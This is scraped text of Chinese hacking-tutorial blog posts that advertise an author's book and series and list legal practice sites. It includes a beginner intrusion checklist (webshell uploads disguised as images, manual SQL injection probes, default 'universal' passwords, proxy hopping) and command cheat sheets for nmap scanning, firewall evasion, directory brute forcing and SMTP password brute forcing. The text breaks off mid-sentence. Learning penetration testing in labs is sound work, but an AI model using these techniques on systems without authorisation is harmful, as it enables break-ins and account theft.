href=&/?target=https%3A///SpiderLabs/SQLol& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&SpiderLabs/SQLol&i class=&icon-external&&&/i&&/a&&br&&/p&&p&更多的工具的平台 发在微博,知乎检测了,&/p&&p&&a href=&/?target=http%3A///ttarticle/p/show%3Fid%3D& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Sina Visitor System&i class=&icon-external&&&/i&&/a&&br&&/p&&br&&p&&strong&OverTheWire&/strong&基于游戏的让你学习安全技术和概念的黑客网站&/p&&p&Peruggia,一个提供安全、合法攻击的黑客网站&/p&&p&&strong&Root Me &/strong&通过超过200名黑客的挑战和50个虚拟环境来提高你黑客技巧和网络安全知识的网站&/p&&p&&strong&Try2Hack &/strong&最古老的黑客网站之一,提供多种安全挑战。&/p&&p&&strong&Vicnum &/strong&基于游戏的方式来引导安全开发者学习安全技术。&/p&&p&WebGoat 提供了一个真实的安全教学环境,指导用户设计复杂的应用程序安全问题&/p&&p&装逼的那些并不能在妹子面前耍帅 (那些工具只能纯属娱乐) 。只有通过真本事赢得妹子、赢得钱钱 (职场) 、赢得未来、真本事哪里来?&/p&&p&学习黑客的第一本书 工具书 系列入门学习 《&a href=&/?target=https%3A///& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&网络黑白&i class=&icon-external&&&/i&&/a&》&br&&/p&&p&每个章节都会有知识点,提到了几个关键字,渗透、入侵、社会工程学、蜜罐、内网渗透、外网渗透,白帽子,黑帽子等等。入侵渗透涉及许多知识和技术,需要前期的很多准备,请一定看完文字部分往下翻,网络安全极其重要,尤其是近两年,在早些时候,网络的防御几乎如纸窗一般,那时候大批的脚本小子也趁虚而入,许多数据都被盗取,而这时白帽子一词便也问世。同理的利用同样技术的另一对面的便是黑帽,在我看来并没有所谓的好坏一分,如果黑客与骇客一般,只看你自己如何理解,也不要给自己贴上所谓的标签。&br&&/p&&p&看到部分文章没有阅读到的可以翻一下我的微博文章、知乎专栏、微信公众号、黑客花无涯,都可以的,想进一步了解学习可以看看我的书 ,很多人有私信一直来问,这里就贴出来前几章的链接,方便查阅。感谢大家提出的建议,我的网盘也有小白&a href=&/?target=http%3A///share/home%3Fuk%3Dview%3Dshare%23category/type%3D0& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&入门教程&i class=&icon-external&&&/i&&/a&,零基础网盘 &a href=&/?target=http%3A///share/home%3Fuk%3Dview%3Dshare%23category/type%3D0& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&百度网盘-19****394的分享&i class=&icon-external&&&/i&&/a&。&/p&&p&自己的价值观是怎么样的,拿技术去做一些什么样的事情,成为什么样的人,愿望和初心是好的,做点有意义的事情,利用工具和平台是很方便,但是要养成思维和各种熟练的操作,而不是对什么都不懂,就靠着工具里头的功能。&/p&&p&“这就好比一个人学会了武功,在没有打人之前,你不能说他是个坏人。如果他用来除暴安良,他就是侠,如果他用来打家劫舍,那他就是盗。”每章结尾有彩蛋,it从业者和小白如何保护自己的招数。好了,话不多说,新手渗透必须学的就是先会安装这个平台,很多人虚拟机都还不会安装,先把虚拟机安装好,该学的自己都要去实践,去操作。&/p&&p&现实世界的每一个个人和组织,都在网络世界的版图中对应着属于自己的一座或大或小的城池。而在险恶的互联网丛林中,每座城市都随时面临来自黑暗中的突施冷箭,来跟我一起走进黑客世界。 &br&&/p&&p&网络世界比真实世界更浩淼,更繁复。正义的光芒难以照射这个空间的一切折痕沟回。更多的时候,这像一个黑暗的森林,我们需要用武器来武装自己,对抗黑暗中侵袭而来的枪弹。网络世界如何保护自己和身边的人? 跟我一起走进黑客世界 。&/p&&p&诚然,很多人想到黑客,就会联想到高超的技术。但是,当你真正了解到赛博世界殊死搏斗的真相,你就会理解,对于黑客的最高褒赏,并不是攻城略地的高超技术,而是不战而屈人之兵的闪光智慧。&/p&&p&我发现,无论任何人,只要找到好方向,找到对的人,做一个精心的布局,遇到一个不错的机会,玩命干起来,那么只要三年,或许只要两年,就足以改变一个人的大命运。比如从草根到行业大牛,从小创业者,到行业里的教父级人物。不存在什么十年打拼之类的, 黑客亦是如此,共勉。&/p&&p&中国黑客协会信息安全组织启用“H.A.C”,为组织全体成员代号。中国黑客协会是一种精神的传承,黑客代表是一种精神,它是一种热爱祖国、坚持正义、开拓进取的精神,不断的吸收与发展,中国黑客协会目前是世界范围内延续发展最久远的黑客组织之一。&br&&/p&&p&我们认为真正的民族主义者以追求本民族――中华民族的利益最大化为目标、准则、信念。判断一个人是不是真正的民族主义者,判断标准很简单:看他是给本民族的整体利益带来好处,还是损害民族利益。真正的民族主义者最务实,因为他知道坚持原则,同时又懂得策略。&/p&&p&感谢大家打赏给我动力更新下去!!!大家可以多给些建议和想法!&/p&&p&&a href=&/?target=http%3A///ttarticle/p/show%3Fid%3D%26mod%3Dzwenzhang& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&花无涯带你走进黑客之 小白入门 第一弹&i class=&icon-external&&&/i&&/a&| &a href=&/?target=http%3A///ttarticle/p/show%3Fid%3D%26mod%3Dzwenzhang& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&花无涯带你走进黑客世界 2 学习渗透技术&i class=&icon-external&&&/i&&/a&&/p&&p&&a href=&/?target=http%3A///ttarticle/p/show%3Fid%3D%26mod%3Dzwenzhang& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&花无涯带你走进黑客世界3 白帽和黑帽&i class=&icon-external&&&/i&&/a&| &a href=&/?target=http%3A///ttarticle/p/show%3Fid%3D%26mod%3Dzwenzhang& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&花无涯带你走进黑客世界4 脚本小子&i class=&icon-external&&&/i&&/a&&/p&&p&&a href=&/?target=http%3A///ttarticle/p/show%3Fid%3D%26mod%3Dzwenzhang& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&花无涯带你走进黑客世界5 黑客历程&i class=&icon-external&&&/i&&/a& | &a href=&/heike& class=&internal&&黑客花无涯知乎专栏&/a&&br&&/p&&p&&a href=&/?target=http%3A///ttarticle/p/show%3Fid%3D& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&花无涯带你走进黑客世界6 漏洞扫描 &i class=&icon-external&&&/i&&/a&|&a href=&/?target=http%3A///ttarticle/p/show%3Fid%3D& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&花无涯带你走进黑客世界7 Dos命令&i class=&icon-external&&&/i&&/a&&/p&&p&&a href=&/?target=http%3A///ttarticle/p/show%3Fid%3D& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&花无涯带你走进黑客世界9 远控肉鸡&i class=&icon-external&&&/i&&/a&|&a href=&/p/& class=&internal&&花无涯带你走进黑客世界9远控肉鸡(番外篇)&/a&&/p&&p&&a href=&/p/& class=&internal&&2017黑客新手工具系列集合附链接&/a&&/p&
直接推荐,因为有比较多,我也没办法把所有的都分享出来,大家可以在评论,私信,完善起来,分享才能进步。进攻即是最好的防御,这句话同样适用于信息安全的世界。合法的来练习黑客技术的网站,不管你是一名开发人员、安全工程师、代码审计师、渗透 测试人…
&img src=&/50/v2-d4b7c6f612c91cc439a6d_b.jpg& data-rawwidth=&1080& data-rawheight=&1080& class=&origin_image zh-lightbox-thumb& width=&1080& data-original=&/50/v2-d4b7c6f612c91cc439a6d_r.jpg&&零基础网盘 &a href=&/?target=http%3A///share/home%3Fuk%3Dview%3Dshare%23category/type%3D0& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&百度网盘-19****394的分享&i class=&icon-external&&&/i&&/a&&br&&p&新手入门过程 看完 后面有进阶过程&/p&&p&简单工具&/p&&p&注:工具网盘黑协纪念优盘有&/p&&p&1. 啊 D &/p&&p&2. 明小子&/p&&p&webshell&/p&&p&工具推荐: 中国菜刀&/p&&p&拿shell常用格式.asp.asa.csx.cer&/p&&p&手工判断是否可注入&/p&&p&url后添加 (1)and 1=1 (2)and 1=2&/p&&p&工具推荐:vstart&/p&&p&万能密码进站(老站)&/p&&p&常用万能密码&/p&&p&旁注(从旁注入)&/p&&p&百度 “同ip网站查询”&/p&&p&图片上传拿shell&/p&&p&在文件上传点,假装上传图片,实际上传大马,访问即可&/p&&p&手工爆账号密码&/p&&p&ip随意换&/p&&p&推荐工具:花刺代理&/p&&br&&p&每个章节都会有知识点,提到了几个关键字,渗透、入侵、社会工程学、蜜罐、内网渗透、外网渗透,白帽子,黑帽子等等。入侵渗透涉及许多知识和技术,需要前期的很多准备,请一定看完文字部分往下翻,网络安全极其重要,尤其是近两年,在早些时候,网络的防御几乎如纸窗一般,那时候大批的脚本小子也趁虚而入,许多数据都被盗取,而这时白帽子一词便也问世。同理的利用同样技术的另一对面的便是黑帽,在我看来并没有所谓的好坏一分,如果黑客与骇客一般,只看你自己如何理解,也不要给自己贴上所谓的标签。&br&&/p&&br&&p&看到部分文章没有阅读到的可以翻一下我的微博文章、知乎专栏、微信公众号、黑客花无涯,都可以的,想进一步了解学习可以看看我的第一本书 网络黑白 ,很多人有私信一直来问,这里就贴出来前几章的链接,方便查阅。感谢大家提出的建议。&/p&&br&&p&&a href=&/?target=http%3A///ttarticle/p/show%3Fid%3D%26mod%3Dzwenzhang& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&花无涯带你走进黑客之 小白入门 第一弹&i class=&icon-external&&&/i&&/a&| &a href=&/?target=http%3A///ttarticle/p/show%3Fid%3D%26mod%3Dzwenzhang& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&花无涯带你走进黑客世界 2 学习渗透技术&i class=&icon-external&&&/i&&/a&&/p&&p&&a href=&/?target=http%3A///ttarticle/p/show%3Fid%3D%26mod%3Dzwenzhang& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&花无涯带你走进黑客世界3 白帽和黑帽&i class=&icon-external&&&/i&&/a&|
&a href=&/?target=http%3A///ttarticle/p/show%3Fid%3D%26mod%3Dzwenzhang& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&花无涯带你走进黑客世界4 脚本小子&i class=&icon-external&&&/i&&/a&&/p&&p&&a href=&/?target=http%3A///ttarticle/p/show%3Fid%3D%26mod%3Dzwenzhang& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&花无涯带你走进黑客世界5 黑客历程&i class=&icon-external&&&/i&&/a& | &a href=&/heike& class=&internal&&黑客花无涯知乎专栏&/a&&br&&/p&&p&&a href=&/?target=http%3A///ttarticle/p/show%3Fid%3D& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&花无涯带你走进黑客世界6 漏洞扫描 &i class=&icon-external&&&/i&&/a&&br&&/p&&p&讲了脚本小子,虽然这些对于真正的黑客来说是必须具备的素质。但是需要看自己怎么理解,自己的价值观是怎么样的,拿技术去做一些什么样的事情,成为什么样的人,愿望和初心是好的,做点有意义的事情,利用工具和平台是很方便,但是要养成思维和各种熟练的操作,而不是对什么都不懂,就靠着工具里头的功能。&/p&&br&&p&“这就好比一个人学会了武功,在没有打人之前,你不能说他是个坏人。如果他用来除暴安良,他就是侠,如果他用来打家劫舍,那他就是盗。”每章结尾有彩蛋,it从业者和小白如何保护自己的招数。好了,话不多说,新手渗透必须学的就是先会安装这个平台,很多人虚拟机都还不会安装,先把虚拟机安装好,然后在安装这个。&/p&&br&&h3&最好的 NMAP 扫描策略&/h3&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&# 适用所有大小网络最好的 nmap 扫描策略
# 主机发现,生成存活主机列表
$ nmap -sn -T4 -oG Discovery.gnmap 192.168.56.0/24
$ grep &Status: Up& Discovery.gnmap | cut -f 2 -d ' ' & LiveHosts.txt
# 端口发现,发现大部分常用端口
# http://nmap.org/presentations/BHDC08/bhdc08-slides-fyodor.pdf
$ nmap -sS -T4 -Pn -oG TopTCP -iL LiveHosts.txt
$ nmap -sU -T4 -Pn -oN TopUDP -iL LiveHosts.txt
$ nmap -sS -T4 -Pn --top-ports 3674 -oG 3674 -iL LiveHosts.txt
# 端口发现,发现全部端口,但 UDP 端口的扫描会非常慢
$ nmap -sS -T4 -Pn -p 0-65535 -oN FullTCP -iL LiveHosts.txt
$ nmap -sU -T4 -Pn -p 0-65535 -oN FullUDP -iL LiveHosts.txt
# 显示 TCP\UDP 端口
$ grep &open& FullTCP|cut -f 1 -d ' ' | sort -nu | cut -f 1 -d '/' |xargs | sed 's/ /,/g'|awk '{print &T:&$0}'
$ grep &open& FullUDP|cut -f 1 -d ' ' | sort -nu | cut -f 1 -d '/' |xargs | sed 's/ /,/g'|awk '{print &U:&$0}'
# 侦测服务版本
$ nmap -sV -T4 -Pn -oG ServiceDetect -iL LiveHosts.txt
# 扫做系统扫描
$ nmap -O -T4 -Pn -oG OSDetect -iL LiveHosts.txt
# 系统和服务检测
$ nmap -O -sV -T4 -Pn -p U:53,111,137,T:21-25,80,139,8080 -oG OS_Service_Detect -iL LiveHosts.txt
&/code&&/pre&&/div&&h3&Nmap – 躲避防火墙&/h3&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&# 分段
# 修改默认 MTU 大小,但必须为 8 的倍数(8,16,24,32 等等)
$ nmap --mtu 24
# 生成随机数量的欺骗
$ nmap -D RND:10 [target]
# 手动指定欺骗使用的 IP
$ nmap -D decoy1,decoy2,decoy3 etc.
# 僵尸网络扫描, 首先需要找到僵尸网络的IP
$ nmap -sI [Zombie IP] [Target IP]
# 指定源端口号
$ nmap --source-port 80 IP
# 在每个扫描数据包后追加随机数量的数据
$ nmap --data-length 25 IP
# MAC 地址欺骗,可以生成不同主机的 MAC 地址
$ nmap --spoof-mac Dell/Apple/3Com IP
&/code&&/pre&&/div&&h3&Nmap 进行 Web 漏洞扫描&/h3&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&cd /usr/share/nmap/scripts/
wget putec.ch/projekte/vulscan/download/nmap_nse_vulscan-2.0.tar.gz && tar xzf nmap_nse_vulscan-2.0.tar.gz
nmap -sS -sV --script=vulscan/vulscan.nse target
nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv target
nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv -p80 target
nmap -PN -sS -sV --script=vulscan –script-args vulscancorrelation=1 -p80 target
nmap -sV --script=vuln target
nmap -PN -sS -sV --script=all –script-args vulscancorrelation=1 target
&/code&&/pre&&/div&&h3&使用 DIRB 爆破目录&/h3&&p&注:&a href=&/?target=http%3A//dirb.sourceforge.net/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&DIRB&i class=&icon-external&&&/i&&/a& 是一个专门用于爆破目录的工具,在 Kali 中默认已经安装,类似工具还有国外的&a href=&/?target=https%3A///lanjelot/patator& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&patator&i class=&icon-external&&&/i&&/a&,&a href=&/?target=https%3A///maurosoria/dirsearch& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&dirsearch&i class=&icon-external&&&/i&&/a&,&a href=&/?target=https%3A//www.owasp.org/index.php/Category%3AOWASP_DirBuster_Project& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&DirBuster&i class=&icon-external&&&/i&&/a&, 国内的御剑等等。&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&dirb http://IP:PORT /usr/share/dirb/wordlists/common.txt
&/code&&/pre&&/div&&h3&Patator – 全能暴力破解测试工具&/h3&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&# git clone /lanjelot/patator.git /usr/share/patator
# SMTP 爆破
$ patator smtp_login host=192.168.17.129 user=Ololena password=FILE0 0=/usr/share/john/password.lst
$ patator smtp_login host=192.168.17.129 user=FILE1 password=FILE0 0=/usr/share/john/password.lst 1=/usr/share/john/usernames.lst
$ patator smtp_login host=192.168.17.129 helo='ehlo 192.168.17.128' user=FILE1 password=FILE0 0=/usr/share/john/password.lst 1=/usr/share/john/usernames.lst
$ patator smtp_login host=192.168.17.129 user=Ololena password=FILE0 0=/usr/share/john/password.lst -x ignore:fgrep='incorrect password or account name'
&/code&&/pre&&/div&&h3&使用 Fierce 爆破 DNS&/h3&&p&注:Fierce 会检查 DNS 服务器是否允许区域传送。如果允许,就会进行区域传送并通知用户,如果不允许,则可以通过查询 DNS 服务器枚举主机名。类似工具:&a href=&/?target=https%3A///lijiejie/subDomainsBrute& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&subDomainsBr}

我要回帖

更多关于 git remote origin 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信